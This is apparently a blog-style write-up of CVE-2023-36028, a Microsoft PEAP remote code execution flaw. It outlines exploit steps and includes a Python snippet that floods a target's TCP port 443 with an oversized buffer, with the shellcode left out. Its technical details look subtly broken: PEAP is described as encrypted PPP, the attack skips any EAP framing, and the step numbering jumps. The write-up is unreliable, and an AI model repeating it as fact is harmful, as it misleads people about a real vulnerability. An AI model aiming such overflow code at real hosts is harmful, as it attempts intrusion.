CVE-2023-36028 - Uncovering the Microsoft Protected Extensible Authentication Protocol (PEAP) Remote Code Execution Vulnerability

In the cybersecurity world, new vulnerabilities are discovered on a daily basis. Some can be minor and have a lower impact, while others can have severe consequences for the affected systems. Today, we will be focusing on CVE-2023-36028, a critical remote code execution vulnerability affecting Microsoft's Protected Extensible Authentication Protocol (PEAP). The vulnerability has the potential to allow an attacker to execute arbitrary code remotely on the target system.

CVE-2023-36028 - Vulnerability Background

Microsoft PEAP is a widely adopted security protocol that plays an essential role in guaranteeing secure communications between wireless devices and networks. Specifically, PEAP provides a mechanism for secure authentication and key exchange in the form of encrypted Point-to-Point Protocol (PPP) sessions over an insecure medium, such as a wireless network.

This vulnerability involves the mishandling of authentication data during the initial PEAP handshake between a client and a server. This oversight during the handshake leaves the system vulnerable to a buffer overflow exploit, allowing an attacker to execute arbitrary code with elevated privileges and gain control of the target system.

Original References

Microsoft has released official security advisories for this vulnerability. More information and detailed technical write-ups on CVE-2023-36028 can be found at the following links:

- Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-36028
- NIST NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-36028

Exploit Details

The exploit takes advantage of the overflow vulnerability present during the initial PEAP handshake process by injecting crafted PEAP authentication packets containing arbitrary code. The process to execute the exploit can be summarized in the following steps:

1. Identify the target system(s) and the network environment where the vulnerable PEAP server is running.
2. Create custom PEAP authentication packets, including arbitrary code to be executed on the target system, and ensure that they exceed the expected buffer size.

Send the malicious PEAP authentication packets to the server and trigger the overflow vulnerability.

4. Obtain remote access to the target system due to the executed arbitrary code with elevated privileges.

Code Snippet

Because this is an educational resource, we will not provide the full exploit code. However, demonstrating how the vulnerability might be triggered can help better understand the vulnerability at a deeper level. Here is a simple Python code snippet that may resemble how the vulnerability might be exploited:

import socket

def exploit(target_ip, target_port):
    # Creating a crafted malicious PEAP authentication packet
    malicious_packet = b"\x00" * (1024 * 64)  # Buffer overflow trigger, using an oversized payload

    # Adding arbitrary code to be executed (not included for security reasons)
    # malicious_packet += b"\x90" * (1024 * 8) + b"\x00" * (1024 * 4) + <ARBITRARY_CODE>

    # Create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))

    # Sending crafted malicious PEAP authentication packets
    sock.send(malicious_packet)

    # Closing the socket
    sock.close()

if __name__ == '__main__':
    target_ip = "192.168.1.100"
    target_port = 443

    exploit(target_ip, target_port)

Conclusion

CVE-2023-36028 demonstrates the potential impact a vulnerability can have on critical systems that rely on secure communication. In this case, a seemingly simple oversight in the handling of authentication data during the PEAP handshake can ultimately lead to disastrous results, such as remote code execution on a target system. We hope that shedding light on such vulnerabilities helps proactively mitigate risks and better secure networks and systems.

Timeline

Published on: 11/14/2023 18:15:32 UTC
Last modified on: 11/20/2023 17:53:37 UTC